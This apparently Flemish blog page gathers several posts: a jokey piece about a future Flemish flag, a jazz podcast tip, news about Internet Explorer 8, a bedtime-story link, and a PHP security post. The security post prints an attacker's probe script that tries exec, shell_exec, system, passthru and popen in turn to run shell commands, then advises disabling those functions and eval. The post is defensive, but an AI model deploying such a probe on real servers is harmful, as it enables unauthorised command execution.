Vlaanderen boven, nu de vlag nog?

de vlag van onze toekomstige vlaamse natie?Terwijl onze vers verkozen politici al een tijdje kibbelen over wie het land op welk niveau zal mogen bestieren, zien sommigen hun droomscenario voor een volledige scheiding sneller en sneller werkelijkheid worden. Als het ooit zover komt, dan wordt elke sportmanifestatie een beetje een Vlaamse wielerklassieker. Want in plaats van onze ietwat saaie Belgische driekleur zullen we dan overal de opmerkelijk oubollige Vlaamse Leeuw zien wapperen.
In heel de wereld zijn er immers niet veel landen die zo uitpakken met middeleeuwse heraldiek. We bevinden ons dan bijvoorbeeld in het gezelschap van grootmachten als Egypte, Mexico, Moldavië en Zambia, die iets met een adelaar blijken te hebben. Montenegro en Albanië zetten zelfs een tweekoppig exemplaar in. Dat moet best angstaanjagend geweest zijn, heel lang geleden, net als de draak van Bhutan overigens. En tenslotte misschien nog een eervolle vermelding voor Sri Lanka , want die gooien ook een leeuw in de strijd.
Wie zou twijfelen aan de bedoelingen van onze Vlaamse Leeuw; de laatste strofe van ons volkslied geeft een goede indicatie. En in de heraldiek is hij eerder rampant (stijgerend) dan grimpant (klimmend), maar hij is vooral armé (gewapend), met die scherpe bloedrode klauwen.
We zullen, eenmaal de Vlaamse onafhankelijkheid een feit is, dan ook van niemand nog schrik moeten hebben. Onze rood-geklauwde, bloeddorstig brullende Vlaamse Leeuw lacht met uw adelaar, om van uw vrolijk kakelende haan nog maar te zwijgen!

de draak van bhutande leeuw van sri lanka, familie?de tweekoppige adelaar van albanië

Iemand toevallig ideeën voor een moderner Vlaamse vlag?

Podcast: jam-sessie Brownswood loves jazz

Een paar dagen geleden gevonden tussen de podcasts van Gilles Peterson: een live jamsessie van enkele van zijn Brownswood-poulains in een winkel in Amsterdam. Soil & “Pimp” Sessions, Elan Mehler, José James (die man kan een serieus eindje scatten!) en enkele anderen maken er met eigen werk en een handvol jazz-standards een fijn feestje van. Ge kunt de mp3 afhalen, of het concert direct beluisteren in de flash-player hieronder.
[audio:http://www.gillespetersonworldwide.com/podcasts/gilles_peterson-vol01-no15.mp3]
En als ge me nu wilt excuseren, dan ga ik verder verjaren 🙂

Microsoft bevestigt Internet Explorer 8

Bill Gates sprak eergisteren op Mix ‘n Mash 2007 onder andere over de volgende versie van Internet Explorer en bleek zelf in het duister te tasten toen Molly Holzschlag hem vroeg waarom het zo stil bleef rond wat er al dan niet in IE8 zal zitten:

I’ll have to ask Dean what the hell is going on. I mean, we’re not — there’s not like some deep secret about what we’re doing with IE. […] I don’t know where Dean is in terms of if he’s willing to commit what’s in IE 8 and what’s not in IE 8. In terms of standards support, he’ll see that it’s a glass half full. It adds a bunch of new stuff we didn’t have before, it doesn’t add everything that everybody wants us to do.

Op de IEBlog bevestigde die Dean (Hachamovitch, general manager van het IE-team), een dag later enkel dat ze aan de volgende versie werken en dat die niet “IE Desktop Online Web Browser Live Professional Ultimate Edition for the Internet” maar wel gewoon “Internet Explorer 8” zal heten. Over specs repte Dean echter met geen woord en hij eindigde zijn aankondiging nogal koeltjes met de woorden

In the meantime, please don’t mistake silence for
inaction.

Dat zinnetje zorgt in de comments voor heel wat harde reacties. Ook Firefox’s Asa Dotzler heeft Deans aankondiging gelezen en schrijft op zijn blog:

What your silence for the last 18 months of IE 8 development tells the Web developers of the world that you don’t give a shit what they’ve got to say about it.

Hoedanook, op Mix 2008 zou er wèl relevante IE8-informatie vrijgegeven worden:

BILL GATES: I’ll ask Dean what’s going on. I mean, is IE 8 represented at MIX? I assume it is.
JENNIFER RITZINGER: Yes.
MOLLY HOLZSCHLAG: To what extent?
JENNIFER RITZINGER: To be determined
MOLLY HOLZSCHLAG: So, at MIX08 then?
JENNIFER RITZINGER: There will be disclosure by MIX08.
MOLLY HOLZSCHLAG: By MIX08, then.
JENNIFER RITZINGER: Yes.

In maart 2008 horen we als het meezit dus welke richting MS uit wilt met Internet Explorer. Benieuwd hoe half-vol of half-leeg het standards-glas zal zijn en of ze die nieuwe, betere versie nog wel in 2008 zullen kunnen buitenduwen.

Iemand zin in een verhaaltje?

Een vriend van me heeft een verhaaltje-voor-het-slapengaan geschreven, vandaar uitzonderlijk een post met enkel en alleen een link naar zijn tekstje, dat begint met;

Zit je warm in je bedje? Heb je je knuffelbeer bij je? Dan vertel ik je nog een verhaaltje!
Vanavond vertel ik je een echt gebeurd verhaaltje over het eerste leerjaar van een schooltje hier niet zo ver vandaan. Vroeger was er maar 1 klasje, maar nu zijn er kindjes in 1a en in 1b, net zoals in jouw school.

En hoe het verder gaat, dat moet ge zelf maar lezen 🙂

PHP security: Eval is evil?

Naar aanleiding van mijn vorige post een beetje naar de tooltjes zitten kijken die de script kiddies op mijn serverken loslaten. Een voorbeeldje:

<?php
echo “549821347819481<br>”;
$cmd=”id”;
$eseguicmd=ex($cmd);
echo $eseguicmd.”<br>”;
function ex($cfe){
$res = ”;
if (!empty($cfe)){
if(function_exists(‘exec’)){
@exec($cfe,$res);
$res = join(“\n”,$res);
}
elseif(function_exists(‘shell_exec’)){
$res = @shell_exec($cfe);
}
elseif(function_exists(‘system’)){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists(‘passthru’)){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,”r”))){
$res = “”;
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;

Met behulp van achtereenvolgens exec, shell_exec, system, passthru en popen proberen ze dus aan command line functies van het (linux/ unix) OS te geraken?
Alzo; bannen die handel, met de ‘disable_functions in php.ini. En als ge daar dan toch weer aan het editeren zijt, voeg ‘eval‘ ook gerust toe, want daarmee wordt extern verkregen code uitgevoerd …
Aanpassen, Apache herstarten en je applicaties testen, want ge weet nooit of één van die functies toch niet absoluut nodig is voor één of ander obscure PHP-applicatie …